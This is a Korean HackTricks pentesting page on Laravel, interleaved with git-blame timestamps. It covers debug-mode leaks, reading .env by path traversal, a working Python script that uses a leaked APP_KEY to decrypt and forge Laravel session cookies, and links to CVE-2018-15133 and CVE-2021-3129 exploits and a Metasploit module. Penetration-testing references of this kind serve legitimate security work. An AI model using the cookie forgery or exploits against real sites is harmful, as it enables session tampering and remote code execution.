hacktricks/network-services-pentesting/pentesting-web/laravel.md

109 lines
6.2 KiB
Markdown
Raw Normal View History

# 라라벨
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요**.
2022-04-28 16:01:33 +00:00
</details>
## 라라벨 트릭
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
### 디버깅 모드
라라벨이 **디버깅 모드**에 있으면 **코드** 및 **민감한 데이터**에 액세스할 수 있습니다.\
2024-02-10 21:30:13 +00:00
예를 들어 `http://127.0.0.1:8000/profiles`:
![](<../../.gitbook/assets/image (1046).png>)
이것은 일반적으로 다른 라라벨 RCE CVE를 악용하는 데 필요합니다.
2022-12-03 17:35:56 +00:00
### .env
2020-11-12 00:37:38 +00:00
라라벨은 쿠키를 암호화하고 다른 자격 증명을 사용하는 APP을 `.env`라는 파일에 저장하며, 이 파일은 `/../.env` 아래의 경로 순회를 사용하여 액세스할 수 있습니다.
2020-11-12 00:37:38 +00:00
라라벨은 또한 이 정보를 디버그 페이지(라라벨이 오류를 발견하고 활성화될 때 나타나는 페이지)에 표시합니다.
2020-11-12 00:37:38 +00:00
라라벨의 비밀 APP\_KEY를 사용하여 쿠키를 복호화하고 다시 암호화할 수 있습니다:
2020-11-12 00:37:38 +00:00
2024-02-10 21:30:13 +00:00
### 쿠키 복호화
2020-11-12 00:37:38 +00:00
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
2024-02-10 21:30:13 +00:00
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
2020-11-12 00:37:38 +00:00
def mcrypt_encrypt(value, iv):
2024-02-10 21:30:13 +00:00
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
2020-11-12 00:37:38 +00:00
def decrypt(bstring):
2024-02-10 21:30:13 +00:00
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
2020-11-12 00:37:38 +00:00
def encrypt(string):
2024-02-10 21:30:13 +00:00
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
2020-11-12 00:37:38 +00:00
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel 직렬화 RCE
2020-11-12 00:37:38 +00:00
취약한 버전: 5.5.40 및 5.6.x부터 5.6.29까지 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
2020-11-12 00:37:38 +00:00
직렬화 취약점에 대한 정보는 여기에서 찾을 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
2020-11-12 00:37:38 +00:00
[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)를 사용하여 테스트하고 악용할 수 있습니다.\
2024-02-10 21:30:13 +00:00
또는 metasploit을 사용하여 악용할 수도 있습니다: `use unix/http/laravel_token_unserialize_exec`
2020-11-12 00:37:38 +00:00
2022-12-03 17:35:56 +00:00
### CVE-2021-3129
2021-09-06 19:52:01 +00:00
다른 직렬화: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
2021-09-06 19:52:01 +00:00
2022-12-03 17:35:56 +00:00
### Laravel SQLInjection
2020-11-12 00:37:38 +00:00
2024-02-10 21:30:13 +00:00
여기에서 이에 대한 정보를 읽을 수 있습니다: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)